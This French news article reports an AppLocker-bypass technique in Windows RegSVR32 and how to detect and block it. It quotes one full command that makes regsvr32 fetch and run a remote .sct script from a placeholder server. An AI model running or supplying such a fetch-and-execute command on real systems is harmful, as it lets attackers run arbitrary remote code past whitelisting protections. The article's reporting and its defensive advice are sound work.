Une faille dans RegSVR32 sème la panique dans Windows

Une personne a trouvé un moyen d’utiliser l’outil RegSVR32 de Windows pour installer n’importe quelle application, y compris une application malveillante.

On aura pu constater, ces derniers jours, dans le monde de la sécurité informatique un certain emballement autour de RegSVR32. Cet utilitaire en lignes de commande permet d’inscrire et de désinscrire, dans le registre Windows, des DLL et des contrôles ActiveX.

Le dénommé Casey Smith y a découvert dans Windows 7 une fonction qui permet d’exécuter du code à distance en contournant les principales protections de l’OS et ne laissant presque aucune trace. À l’origine, il cherchait à mettre en place un reverse-shell* sur un poste de travail. Mais ledit poste était verrouillé par l’outil AppLocker, avec des règles bien particulières pour l’exécution d’applications.

Une commande ultime découverte

Il a fini par trouver la « commande ultime » pour passer outre cette limitation : regsvr32 /s /n /u /i:https://server/file.sct scrobj.dll. Qu’est-ce qui pose ici problème ? Le fait que RegSVR32 puisse accepter une URL pointant vers un script, local ou distant, le tout sans nécessiter de privilèges administrateur et sans altérer le registre.

Considéré comme de confiance en tant que « fonction essentielle » de Windows, RegSVR32 gère parfaitement les proxys, les redirections et le HTTPS. Bilan : il suffit, pour un pirate, d’héberger son script sur un domaine qu’il contrôle. Et cela peut fonctionner avec d’autres formats de fichiers que le .sct (documents XML), comme le démontrent plusieurs PoC (« Proof of Concept ») publiés sur GitHub.

Blocage par un pare-feu

Pour détecter une attaque, il faut surveiller le dossier des fichiers temporaires associé à Internet Explorer (c:\users\USER\appdata\local\microsoft\windows\temporary internet files\content.ie5).

Pour se protéger, la solution la plus souvent suggérée consiste à bloquer, via le pare-feu Windows, tout accès au réseau pour RegSVR32 (%systemroot%\System\regsvr32.exe) et éventuellement pour RegSVR64 sur les systèmes 64 bits (%systemroot%\SysWoW64\regsvr32.exe).

Certains suggèrent d’activer Device Guard avec la protection contre les scripts. Mais cela ne semble applicable qu’à Windows 10 Enterprise avec Hyper-V, précise ITespresso.

* Alors que le shell fonctionne sur le mode client-serveur, avec le reverse-shell, c’est le serveur qui se connecte au client. Ces flux sont rarement bloqués par les pare-feu. Un avantage… notamment pour les pirates informatiques.

A lire aussi :

Microsoft cache une bannière pro Windows 10 dans le Patch Tuesday

Windows 10 : l’écran bleu se dote d’un QR Code

Crédit Photo : Andrei Lishnesky- Shutterstock